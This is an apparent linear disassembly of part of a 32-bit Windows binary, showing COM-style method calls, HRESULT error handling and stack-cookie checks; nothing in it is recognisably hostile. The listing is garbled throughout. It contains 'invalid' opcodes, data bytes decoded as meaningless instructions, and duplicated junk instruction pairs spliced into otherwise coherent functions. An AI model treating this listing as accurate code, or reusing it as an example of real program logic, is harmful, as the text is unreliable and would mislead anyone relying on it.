mov esp, ebp
pop ebp
ret 0x28
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
lea esi, [ebp + 0x18]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0x28]
lea edi, [esp + 0x68]
movsd dword es:[edi], dword [esi]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x20], eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
test eax, eax
je 0x4650e7
xor esi, esi
cmp word [eax], si
je 0x4650e7
test ebx, ebx
je 0x4650e7
mov eax, dword [ebp + 0x2c]
mov dword [ecx + 0x2c], eax
mov eax, dword [ebp + 0x14]
and eax, 1
mov dword [esp + 0x14], eax
jne 0x464d40
lea edi, [ecx + 0x30]
push edi
push 0x10001958
push 1
push esi
push 0x10001948
mov dword [esp + 0x2c], edi
call dword [0x10027408]
test eax, eax
js 0x464d38
mov eax, dword [edi]
push 4
push dword [esp + 0x14]
mov ecx, dword [eax]
push eax
mov esi, dword [ecx + 0xc]
mov ecx, esi
call dword [0x10027414]
call esi
mov esi, dword [edi]
lea ecx, [esp + 0x3a8]
push dword [0x10026468]
push 1
mov eax, dword [esi]
mov edi, dword [eax + 0x1c]
call 0x46513b
push eax
lea ecx, [esp + 0x18c]
call 0x4652ab
push dword [esp + 0x28c]
mov ecx, edi
push esi
call dword [0x10027414]
call edi
lea ecx, [esp + 0x188]
call 0x4652f8
lea ecx, [esp + 0x3a8]
call 0x4652f8
mov eax, dword [esp + 0x18]
sbb byte [ebp + 0x298248c], cl
add byte [eax], al
sbb byte [ebp + 0x298248c], cl
add byte [eax], al
push dword [0x10026468]
push 2
mov esi, dword [eax]
mov eax, dword [esi]
mov edi, dword [eax + 0x20]
call 0x46513b
push eax
lea ecx, [esp + 0x7c]
call 0x4652ab
push dword [esp + 0x17c]
mov ecx, edi
push esi
call dword [0x10027414]
call edi
lea ecx, [esp + 0x78]
call 0x4652f8
lea ecx, [esp + 0x298]
call 0x4652f8
mov ecx, dword [esp + 0x18]
mov eax, dword [ecx]
push eax
mov ecx, dword [eax]
mov esi, dword [ecx + 0x10]
mov ecx, esi
call dword [0x10027414]
call esi
xor esi, esi
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x1c]
lea edx, [ecx + 0x30]
mov dword [esp + 0x28], edx
cmp dword [edx], esi
jne 0x464d6d
test eax, eax
jne 0x464d6d
call dword [0x100270e4]
mov edi, eax
test edi, edi
jle 0x4650e3
movzx edi, di
or edi, 0x80070000
jmp 0x4650e3
add ecx, 0xfffffffc
mov dword [esp + 0x18], esi
mov dword [esp + 0x24], ecx
mov eax, dword [ecx]
mov esi, dword [eax]
lea eax, [esp + 0x18]
push eax
push 0x10001698
push ecx
mov ecx, esi
call dword [0x10027414]
call esi
mov edi, eax
test edi, edi
js 0x4650b7
mov eax, dword [ebx]
and dword [esp + 0x14], 0
mov esi, dword [eax]
lea eax, [esp + 0x14]
push eax
push 0x100016c8
push ebx
mov ecx, esi
call dword [0x10027414]
call esi
mov edi, eax
test edi, edi
js 0x4650ae
push 0x10
mov edi, 0x10001658
lea eax, [esp + 0x6c]
push edi
push eax
call 0x486d40
add esp, 0xc
test eax, eax
jne 0x464e42
mov ecx, dword [esp + 0x24]
and dword [esp + 0x10], eax
mov eax, dword [ecx]
mov esi, dword [eax]
lea eax, [esp + 0x10]
push eax
push 0x100018f8
push ecx
mov ecx, esi
call dword [0x10027414]
call esi
test eax, eax
js 0x464e39
mov eax, dword [esp + 0x10]
push dword [ebp + 0x30]
push ebx
mov ecx, dword [eax]
push eax
mov esi, dword [ecx + 0xc]
mov ecx, esi
call dword [0x10027414]
call esi
test eax, eax
js 0x464e39
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x68]
add eax, 8
push edx
push eax
mov ecx, dword [eax]
mov esi, dword [ecx + 0x20]
mov ecx, esi
call dword [0x10027414]
call esi
lea ecx, [esp + 0x10]
call 0x465110
lea edx, [esp + 0x68]
xor ecx, ecx
mov eax, dword [edx + ecx*4]
cmp eax, dword [edi + ecx*4]
jne 0x464e63
inc ecx
cmp ecx, 4
jne 0x464e48
mov esi, 0x10001718
lea edi, [esp + 0x68]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor eax, eax
lea edi, [esp + 0x3c]
stosd dword es:[edi], eax
push 7
pop ecx
push 0x48
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
lea edi, [esp + 0x4e]
mov dword [esp + 0x40], 0x100a
rep stosd dword es:[edi], eax
mov dword [esp + 0x48], 0x100c
stosw word es:[edi], ax
xor eax, eax
inc eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x44], eax
inc esp
inc esp
pop eax
mov word [esp + 0x48], ax
lea eax, [esp + 0x68]
push 3
mov dword [esp + 0x54], eax
pop eax
mov word [esp + 0x58], ax
mov eax, dword [ebp + 0x30]
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x14]
push 0x1002
adc byte [eax], al
add byte [ebx + 0x10718b08], cl
adc byte [eax], al
add byte [ebx + 0x10718b08], cl
lea ecx, [esp + 0x4c]
push ecx
lea ecx, [esp + 0x40]
push ecx
push 2
push eax
mov ecx, esi
call dword [0x10027414]
call esi
mov edi, eax
test edi, edi
js 0x4650ae
mov eax, dword [ebx]
and dword [esp + 0x10], 0
mov esi, dword [eax]
lea eax, [esp + 0x10]
push eax
push 0x100016a8
push ebx
mov ecx, esi
call dword [0x10027414]
call esi
mov edi, eax
test edi, edi
js 0x4650a5
push dword [esp + 0x18]
xor eax, eax
lea edi, [esp + 0x30]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
mov esi, dword [ecx + 0xc]
or al, 0x8d
dec esp
and al, 0x30
or al, 0x8d
dec esp
and al, 0x30
push ecx
push eax
mov ecx, esi
call dword [0x10027414]
call esi
mov edi, eax
test edi, edi
js 0x464fe0
cmp edi, 1
je 0x46509a
push dword [esp + 0x30]
lea ecx, [esp + 0x29c]
call 0x465264
push eax
lea ecx, [esp + 0x18c]
call 0x4652ab
lea ecx, [esp + 0x298]
call 0x4652f8
push dword [esp + 0x20]
lea ecx, [esp + 0x29c]
call 0x465264
push eax
lea ecx, [esp + 0x7c]
call 0x4652ab
lea ecx, [esp + 0x298]
call 0x4652f8
lea ecx, [esp + 0x188]
call 0x46524d
test eax, eax
je 0x464fc6
lea ecx, [esp + 0x78]
call 0x46524d
test eax, eax
je 0x464fc6
mov edx, dword [esp + 0x17c]
mov ecx, dword [esp + 0x28c]
call 0x46e72f
mov edi, eax
jmp 0x464fcb
mov edi, 0x8007000e
pop es
or byte [ebp - 0x1787dbb4], 0x24
add eax, dword [eax]
add byte [ebp + 0x188248c], cl
add byte [eax], al
lea ecx, [esp + 0x78]
call 0x4652f8
lea ecx, [esp + 0x188]
jmp 0x465095
cmp edi, 0x80210002
je 0x464ffc
cmp edi, 0x80210003
je 0x464ffc
cmp edi, 0x80210004
jne 0x46509a
test byte [ebp + 0x14], 4
inc ebp
adc al, 4
je 0x46509a
push dword [esp + 0x30]
lea ecx, [esp + 0x29c]
call 0x465264
push eax
lea ecx, [esp + 0x7c]
call 0x4652ab
lea ecx, [esp + 0x298]
call 0x4652f8
push dword [esp + 0x20]
and byte [ebp + 0x29c248c], cl
add byte [eax], al
and byte [ebp + 0x29c248c], cl
add byte [eax], al
call 0x465264
push eax
lea ecx, [esp + 0x18c]
call 0x4652ab
lea ecx, [esp + 0x298]
call 0x4652f8
lea ecx, [esp + 0x78]
call 0x46524d
test eax, eax
je 0x465085
lea ecx, [esp + 0x188]
call 0x46524d
test eax, eax
je 0x465085
mov edx, dword [esp + 0x28c]
mov ecx, dword [esp + 0x17c]
call 0x46e72f
lea ecx, [esp + 0x188]
call 0x4652f8
lea ecx, [esp + 0x78]
call 0x4652f8
lea eax, [esp + 0x2c]
push eax
call dword [0x10027404]
lea ecx, [esp + 0x10]
call 0x465110
lea ecx, [esp + 0x14]
call 0x465110
mov ebx, dword [esp + 0x28]
mov edx, dword [ebx]
test edx, edx
je 0x4650da
mov eax, dword [edx]
push edx
mov esi, dword [eax + 0x28]
mov ecx, esi
call dword [0x10027414]
call esi
xor edx, edx
mov ecx, ebx
call 0x465204
lea ecx, [esp + 0x18]
call 0x465110
mov eax, edi
jmp 0x4650ec
mov eax, 0x80070057
mov ecx, dword [esp + 0x4bc]
pop edi
pop esi
pop ebx
xor ecx, esp
call 0x486850
mov esp, ebp
pop ebp
ret 0x2c
sub al, 0
sub al, 0
int3
call esi
pop esi
ret
adc eax, 0x100272ec
neg eax
lea ecx, [ebp - 0x804]
sbb eax, eax
and eax, ecx
mov ecx, edi
push eax
call 0x46541c
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call 0x486850
leave
ret 8
add al, 0
int3
add byte [eax], al
add byte [ebx + 0x108a6], al
add byte [eax], al
pop esi
ret
int3
cmp dword [esi + 0x108], eax
jb 0x465382
mov al, 1
jmp 0x4653e5
push ebx
push edi
mov edi, dword [esi + 0x10c]
xor ecx, ecx
add edi, eax
push 2
pop edx
mov eax, edi
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call 0x4862eb
mov ebx, eax
pop ecx
test ebx, ebx
je 0x4653e1
mov ecx, dword [esi + 0x104]
test ecx, ecx
je 0x4653d1
call 0x46534b
lea eax, [eax*2 + 2]
push eax
push ecx
push ebx
call 0x486d4c
add esp, 0xc
mov ecx, esi
call 0x4653f0
mov dword [esi + 0x108], edi
mov al, 1
mov dword [esi + 0x104], ebx
jmp 0x4653e3
xor al, al
pop edi
pop ebx
pop esi
pop ebp
ret 4
fisubr dword [eax + 0x38]
sbb al, byte [eax]
adc byte [ebx - 0x2e61731], cl
invalid
std
invalid
test byte [ecx + eax], ch
add byte [eax], al
push 0x100a
lea ecx, [ebp - 0x248]
call 0x46eda4
push edi
push dword [ebp - 0x25c]
xor ebx, ebx
lea edx, [ebp - 0x248]
inc ebx
mov ecx, esi
mov dword [ebp - 0x24c], ebx
call 0x46eeea
test al, al
je 0x46568d
push 0x100c
lea ecx, [ebp - 0x130]
call 0x46eda4
push edi
push dword [ebp + 8]
lea edx, [ebp - 0x130]
mov dword [ebp - 0x24c], 3
mov ecx, esi
call 0x46eeb4
test al, al
jne 0x465698
xor bl, bl
test byte [ebp - 0x24c], 2
je 0x4656a3
lea ecx, [ebp - 0x130]
call 0x4652f8
lea ecx, [ebp - 0x248]
call 0x4652f8
test bl, bl
je 0x46572c
lea ecx, [ebp - 0x240]
call 0x466947
push 0x101b
lea ecx, [ebp - 0x130]
call 0x46eda4
lea eax, [ebp - 0x240]
mov ecx, esi
push eax
lea edx, [ebp - 0x130]
call 0x46f020
lea ecx, [ebp - 0x130]
mov bl, al
call 0x4652f8
test bl, bl
je 0x465721
lea eax, [ebp - 0x240]
push eax
lea ecx, [ebp - 0x128]
call 0x4652ab
mov ecx, dword [ebp - 0x258]
lea eax, [ebp - 0x128]
push eax
call 0x4665fa
lea ecx, [ebp - 0x128]
call 0x4652f8
lea ecx, [ebp - 0x240]
call 0x4652f8
push 0x100a
lea ecx, [ebp - 0x130]
call 0x46eda4
push edi
lea eax, [ebp - 0x14]
mov ecx, esi
push eax
lea edx, [ebp - 0x130]
call 0x46eeea
lea ecx, [ebp - 0x130]
call 0x4652f8
push 0x100c
lea ecx, [ebp - 0x130]
call 0x46eda4
push edi
push dword [ebp - 0x254]
lea edx, [ebp - 0x130]
mov ecx, esi
call 0x46eeb4
lea ecx, [ebp - 0x130]
call 0x4652f8
mov edi, dword [ebp - 0x258]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call 0x486850
leave
ret 8
retf
mov eax, dword [esp + 0xc]
mov ecx, dword [eax]
mov esi, dword [ecx + 0xc]
lea ecx, [esp + 0x1c]
push ecx
lea ecx, [esp + 0x48]
push ecx
push 1
push eax
mov ecx, esi
call dword [0x10027414]
call esi
test eax, eax
jne 0x465bf2
cmp dword [esp + 0x54], ebx
jne 0x465a30
lea ecx, [esp + 0x168]
call 0x466947
push edi
push ebx
lea edx, [esp + 0x4c]
lea ecx, [esp + 0x288]
call 0x465557
lea ecx, [esp + 0x280]
add byte [eax], al
add byte [eax], al
call 0x46524d
test eax, eax
je 0x465b06
push 0x10001978
lea ecx, [esp + 0x5c]
call 0x465264
lea eax, [esp + 0x280]
push eax
lea ecx, [esp + 0x5c]
call 0x466621
lea ecx, [esp + 0x58]
call 0x46524d
test eax, eax
je 0x465afd
push 0x410
push 0x2b4
lea eax, [esp + 0x5c8]
push eax
push 0x80
push dword [esp + 0x16c]
call dword [0x10027188]
test eax, eax
je 0x465afd
lea eax, [esp + 0x7d4]
cmp eax, dword [esp + 0x26c]
je 0x465afd
push eax
lea ecx, [esp + 0x16c]
call 0x46541c
lea ecx, [esp + 0x58]
call 0x4652f8
lea esi, [esp + 0x44]
lea edi, [esp + 0x24]
movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x168]
push eax
lea ecx, [esp + 0x5c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call 0x4652ab
lea esi, [esp + 0x24]
lea edi, [esp + 0x390]
movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x280]
push eax
lea ecx, [esp + 0x3a4]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call 0x4652ab
lea eax, [esp + 0x58]
push eax
lea ecx, [esp + 0x4b4]
call 0x4652ab
mov edi, dword [esp + 0x14]
mov eax, dword [edi + 0x34]
lea ecx, [edi + 0x30]
inc eax
push eax
call 0x4664bb
test al, al
je 0x465b8e
imul ecx, dword [edi + 0x34], 0x230
lea eax, [esp + 0x390]
push eax
add ecx, dword [edi + 0x40]
call 0x4657ff
dec dword [ebx + 0x468d3477]
add dword [ecx + 0x3eb3447], ecx
dec dword [ebx + 0x468d3477]
add dword [ecx + 0x3eb3447], ecx
or esi, 0xffffffff
lea ecx, [esp + 0x4b0]
call 0x4652f8
lea ecx, [esp + 0x3a0]
call 0x4652f8
lea ecx, [esp + 0x58]
call 0x4652f8
lea edx, [esp + 0x34]
xor ecx, ecx
lea edi, [esp + 0x44]
mov eax, dword [edx + ecx*4]
cmp eax, dword [edi + ecx*4]
jne 0x465bd1
inc ecx
cmp ecx, 4
jne 0x465bbc
mov eax, dword [esp + 0x14]
mov dword [eax + 0x2c], esi
lea ecx, [esp + 0x280]
call 0x4652f8
lea ecx, [esp + 0x168]
call 0x4652f8
mov edi, dword [esp + 0x18]
jmp 0x465a30
mov esi, dword [esp + 0x20]
lea ecx, [esp + 0xc]
call 0x465110
lea ecx, [esp + 0x10]
call 0x465110
mov eax, esi
mov ecx, dword [esp + 0x87c]
pop edi
pop esi
pop ebx
xor ecx, esp
call 0x486850
mov esp, ebp
pop ebp
ret 0xc
cmc
invalid
add byte [eax], al
pop esi
xor ecx, esp
call 0x486850
mov esp, ebp
pop ebp
ret 0x10